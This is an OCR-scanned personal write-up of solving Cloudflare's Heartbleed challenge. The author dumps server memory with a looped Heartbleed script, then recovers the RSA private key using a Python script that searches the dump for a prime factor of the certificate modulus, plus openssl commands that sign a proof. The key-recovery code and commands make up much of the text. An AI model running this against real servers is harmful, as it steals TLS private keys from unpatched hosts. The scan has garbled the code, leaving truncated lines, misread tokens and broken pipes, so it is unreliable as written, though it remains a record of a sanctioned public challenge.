1 I wasn 't first to get the key. Nor was I second, third, or even fourth. I 'm probably not even the 

2 10th to get it. But I'm happy that I was able to prove to myself that I too could do it. 
3 

4 The sleepless adventure began yesterday afternoon, 2014-04-12 15 : 19 : 04 . 827516279 -0700. 
5 

6 First, I have to admit I was a skeptic . Like the handful of other dissenters, I had initially 

7 believed that it would be highly improbable under normal conditions to obtain the private key 

8 through exploiting Heartbleed. So this was my motivation for participating in Cloudflare ' s 

9 challenge. I had extracted a lot of other things with Heartbleed, but I hadn't actually set out to 
10 extract private keys. So I wanted to see first— hand if it was possible or not. 

11 

12 I started by hastily modifying the hb—test.py that everyone has been using to dump the raw memory 

13 contents to a file, rather than print a hexdump. I then left this running in the background for a 

14 (very long) while, as I set off to think of an approach . 
15 

16 while true; do python hb—raw.py www. cloudflarechallenge. com; done 

17 

18 

19 My original thinking was that I could get a large sample of memory, then use some forensic analysis 

20 tools to search for keys in the memory dump. This idea went to the wayside, however, as I got 

21 sidetracked when I started seeing "BEGIN RSA PRIVATE KEY" strings in the script output. 
22 

23 http : //bindshell . nl/epixoip/ cloud flare_key . png 

24 

25 

26 I thought it was too good to be true, but after parsing it out, it was indeed a valid private key, 

27 so I submitted it — unsuccessfully. This turned out to be the work of trolls who were sending 

28 private key contents in heartbeat requests to the server, and I fell for the trollbai t . I found 

29 several more ^private keys' in the dump, and I skeptically tested them anyway, just in case. But 

30 they were all fake as well. Fucking trolls. But at least I didn't fall for any of the keys that 

31 ended in "LOLJK" ;) 
32 

33 So, I decided to get back on track and stick to my original plan. After searching through some 

34 forensics mailing lists and reading some papers on the topic, my plan was to parse my dump file, 

35 looking for the start of a key in ASN.l format ("\x30\x82") , and then parse out the key from there. 
36 

37 While working on this approach, I had a conversation with Brandon Enright (Qbmenrigh) on IRC. This 

38 conversation left me thinking that my approach won't work, because the chances of the key being in 

39 ASN.l DER format in memory are about as slim as the key being in PEM format in memory. Brandon, 

40 however, suggested a much more reasonable approach: 
41 

42 (19 : 25 : 15) < bmenrigh> But my plan would be to interpret all possible portions of the memory dump 

43 as however the P and Q factors get encoded and then just trial divide the N modulus from the SSL 

44 cert until you get one that divides 

45 (19:26:38) < bmenrigh> you only get up to about 64k of memory on each grab so if you interpret 

46 every offset as the start of the dump as whatever a private key looks like it just isn't many trial 

47 divisions 
48 

49 

50 By this time though, I had already been working on this for several hours, and it was Friday night, 

51 so I didn't want to spend any more time on it. However, I gave it some more thought over dinner, 

52 and the more I drank, the more I realized it was far more likely that the binary values of p, or q, 

53 or both, were in memory as-is . They likely wouldn't be encoded at all, so we can just shift through 

54 the memory dump in $keysize chunks, converting them to bignums and doing the trial divide as Brandon 

55 suggested. This would be really easy to code up and test, so I decided to call it an early night, 

56 and rushed home to work on it while the thought (and the liquor) were still fresh in my brain. 
57 

58 The version of hb—test.py that I already had running in the background was dumping memory in 16 KiB 

59 chunks, not the full 64 KiB, so the plan would be to read the memory dump in 16 KiB chunks, 

60 shifting through each chunk in $keysize sections , testing to see if we have a prime that the 

61 modulus is divisible by. I sketched out the following psuedocode : 
62 

63 while (chunk = fread (file, 16384)) 

64 { 

65 for (offset = 0; offset < len (chunk) —keysize; offset++) 

66 { 

67 p = bignum (chunk [of f set— 1] . . chunk [of fset+keysize-1] ) 

68 if (p is prime and modulus % p == 0) 

69 { 

70 q = modulus / p; 

71 print p, q; 

72 } 

73 ) 

74 ) 
75 



76 
77 



78 After a few hours of testing and debugging, lo and behold, one of the primes is in my dump. Several 

79 times, even. From here, it is trivial to get the private key given p/q and the modulus. 
80 

81 

82 I ended up with the following script: 

83 

84 

85 import sys, base64, gmpy 

86 from pyasnl . codec . der import encoder 

87 from pyasnl . type . univ import * 
88 

89 def main () : 

90 n = int (sys . argv [2] , 16) 

91 keysize = n .bit_length () / 16 

92 with open (sys . argv [1] , "rb") as f: 

93 chunk = f . read (16384) 

94 while chunk: 

95 for offset in xrange (0, len (chunk) — keysize) : 

96 p = long (''.join (["%02x" % ord (chunk[xj) for x in xrange (offset + keysize - 1, offset 

97 if gmpy . is_prime (p) and p '. = n and n % p == 0: 

98 e = 65537 

99 q = n / p 

100 phi = (p - 1) * (q - 1) 

101 d = gmpy. invert (e, phi) 

102 dp = d % (p - 1) 

103 dq = d % (q - 1) 

104 qinv = gmpy. invert (q, p) 

105 seq = Sequence () 

106 for x in [0, n, e, d, p, q, dp, dq, qinv] : 

107 seq. setComponentByPosition (len (seq) , Integer (x) ) 

108 print "\n\n BEGIN RSA PRIVATE KEY \n%s END RSA PRIVATE KEY \n\n" % 

109 sys. exit (0) 

110 chunk = f.read (16384) 

111 print "private key not found : (" 
112 

113 if name == ' main ' ; 

114 main() 
115 

116 
117 

118 (I'm sorry if this code offends any python aficionados, but I do not write in python very often.) 
119 

120 Putting it all together, 

121 

122 

123 ep ixoip@ token : ~$ while true; do python hb-raw.py www.cloudflarechallenge.com; done 
124 

125 epixoipQ token: ~$ echo \ openssl s_client -connect www.cloudflarechallenge.com:443 -showcerts / openssl x509 > cloud f lare .pei 

126 depth=4 C = SE, O = AddTrust AB, OU = AddTrust External TTP Network, CN = AddTrust External CA Root 

127 verify error : num=l 9 : self signed certificate in certificate chain 

128 verify return :0 

129 DONE 
130 

131 epixoipQ token : ~$ openssl x509 —pubkey -noout -in cloud f lare .pern > cloud flare_pubkey . pern 
132 

133 epixoip@token : ~$ python extractkey . py cloudf lare . raw $ (openssl x509 -in cloudf lare . pern -modulus -noout / cut -d'=' -f2) > c. 
134 

135 epixoip@ token : ~$ echo "epixoip has your key" \ openssl shal -sign cloudf lare __privkey.pem -shal >signed__proof . bin 
136 

137 epixoip@token : ~$ echo "epixoip has your key" / openssl dgst -verify cloudflare _pubkey .pern -signature signed_proof.bin -shal 

138 Verified OK 
139 

140 

141 And just so anyone else can verify it if they wish, 
142 

143 epixoip@token : ~$ echo "epixoip has your key" / openssl shal —sign cloudf lare_priv . pern —shal / base64 

144 XQT3ZRplzqK++UUZEWQkib2MX9tiUTN3VEA2G4mj4n86cmc0hTEAS2G01AgkmoVgshFR/JYxlX74 

145 s+DHPn4PbyAUB4eC+AqS6T+Wc6PR/Jo4XkF9MTsqLviB/jzStOwl9pld2RbwMNAToE+HGu5vP4PZ 

146 wfW6P5E5HTb/lTsONSubJj9FhZWkDNJPn+d01/8rS4e9AYvQRII8JGfXAa7BOHgT57qw5F03dE8n 

147 srtAu04CSpos25DdgZN47yCecMKETxWe3PeiyeMIbj6OyLdjF/+JUDeN85vXTUx0P7Az0qCeHNon 

148 3uBX7CQZgpl 30oaqdCFQcdIOh Tb2QwdE3FvSzA== 
149 

150 

151 So there you have it. I submitted my proof to Cloudflare about 7 hours ago, so I effectively spent 

152 a whole day on it. I wasn't the first to get it, probably not even the 10th. And I did need some 

153 guidance (thanks Brandon!) But overall, I am pleased. The next step would be to integrate this into 

154 hb-test .py, or ideally just re-write the whole damn thing top-to-bottom in C. 



